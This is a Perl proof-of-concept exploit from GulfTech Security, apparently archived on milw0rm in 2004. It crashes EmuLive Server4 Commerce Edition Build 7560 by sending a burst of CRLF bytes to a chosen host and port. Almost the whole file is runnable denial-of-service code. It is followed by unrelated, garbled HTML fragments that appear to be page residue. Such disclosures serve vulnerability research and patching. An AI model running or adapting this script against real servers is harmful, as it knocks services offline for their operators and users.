#!/usr/bin/perl
##############################################
# EmuLive Server4 Commerce Edition Build 7560
##############################################
# Remote crash proof of conecpt code. When the
# machine running Server4 recieves a malformed
# request on TCP port 66 it crashes very hard!
##############################################
# GulfTech Security http://www.gulftech.org
##############################################
use IO::Socket;
unless ($ARGV[0])
{
die "usage: s4nomore.pl host port"
}
printf("==========================================================\n",);
printf(" EmuLive Server4 Commerce Edition Build 7560 Remote Crash \n",);
printf("==========================================================\n",);
my $host = $ARGV[0];
my $port = $ARGV[1];
my $dead = "\x0D\x0A\x0D\x0A\x0D\x0A\x0D\x0A". #\r\n\r\n\r\n\r\n
"\x0D\x0A\x0D\x0A\x0D\x0A\x0D\x0A". #\r\n\r\n\r\n\r\n
"\x0D\x0A\x0D\x0A\x0D\x0A\x0D\x0A". #\r\n\r\n\r\n\r\n
"\x0D\x0A\x0D\x0A\x0D\x0A\x0D\x0A"; #\r\n\r\n\r\n\r\n
my $i = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => $host,
PeerPort => $port,
Timeout => '100',
Type => SOCK_STREAM,
) || die("Connect Error");
printf("[*] Sending Death Packet To %s\n", $host);
print $i $dead;
$i->autoflush(1);
printf("[*] Host %s Should Now Be Dead\n", $host);
printf("[*] Closing Connections And Exiting \n");
close $i;
exit;
# milw0rm.com [2004-09-21]
|
|
|
|
<![CDATA[<p id="vvttv"></p>]]>
|
|
<![CDATA[<p id="vvttv"></p>]]> |
<![CDATA[<p id="vvttv"></p>]]>
<![CDATA[<pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>]]>
|
<![CDATA[<output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>]]>
<![CDATA[<p id="vvttv"></p>]]> |